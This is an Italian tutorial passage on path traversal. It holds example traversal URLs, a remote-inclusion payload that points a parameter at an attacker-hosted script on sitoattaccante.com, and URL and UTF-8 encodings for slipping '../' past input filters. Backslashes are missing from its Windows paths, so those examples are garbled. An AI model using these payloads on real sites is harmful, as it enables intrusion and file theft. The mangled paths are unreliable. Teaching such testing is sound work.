Path traversal è un tipo di attacco che permette l'accesso alla struttura del file system al di fuori della cartella in cui risiede l'applicativo web. L'attaccante si muove attraverso le cartelle tramite la notazione "../" che come sappiamo permette di "indietreggiare" nella gerarchia del file system. Questa possibilità di muoversi all'interno della struttura di file e cartelle può permettere a un attaccante di ottenere informazioni "sensibili" anche esterne all'applicazione.
Immaginiamo di avere un link a un file come il seguente: www.sitosito.it/cercafile.aspx?file=bilancio.pdf
Il server riceve la richiesta, lo script cercafile.aspx prende il parametro del nome file (bilancio.pdf) e lo accoda per esempio al valore della struttura del file system che partendo dalla root arriva al file Il percorso completo del file potrebbe essere:
c:sitositodocumentiriservatibilancio.pdf
Detto questo, il tester può tentare di risalire la gerarchia del file system per dire allo script cercafile.aspx di posizionarsi su una cartella diversa.
Modificando il link..
www.sitosito.it/cercafile.aspx?......windowssystem32dfrg.msc
è come se il percorso richiesto fosse
c:sitositodocumentiriservati......windowssystem32dfrg.msc
il che farebbe tornare lo script alla root c: per poi restituire il file
c:windowssystem32dfrg.msc
Una versione più evoluta di questa tecnica la possiamo spiegare così:
Sappiamo che uno script (script.php ad esempio) che abbiamo individuato, richiede un parametro (parametro) che viene processato dal server. Se volessimo "iniettare" del codice direttamente all'interno del server potremmo fornire come parametro uno script creato da noi (srcriptnocivo.php), in questo modo:
www.sitotarget.com/scriptc.php?parametro=http://sitoattaccante.com/script/srcriptnocivo.php
In questo modo, essendo il sito target vulnerabile a un attacco path traversal, possiamo dare in pasto al server uno script da eseguire. Alla vostra fantasia quello che potete scrivere nello script!
Attenzione: durante una sessione di test path traversal, ricordiamoci che se l'applicativo non dovesse riconoscere la notazione "../",possiamo provare a codificare la nostra path con le codifiche di cui abbiamo accennato all'inizio della guida.
Esempi di codifica url
%2e%2e%2f = ../ %252e%252e%255c = ..
Esempi di codifica UTF8
..%c0%af = ../ ..%c1%9c = ..
Se il primo tentativo non va a buon fine, proviamo a valutare se esiste un controllo dell'input e testiamo l'attacco con altre codifiche.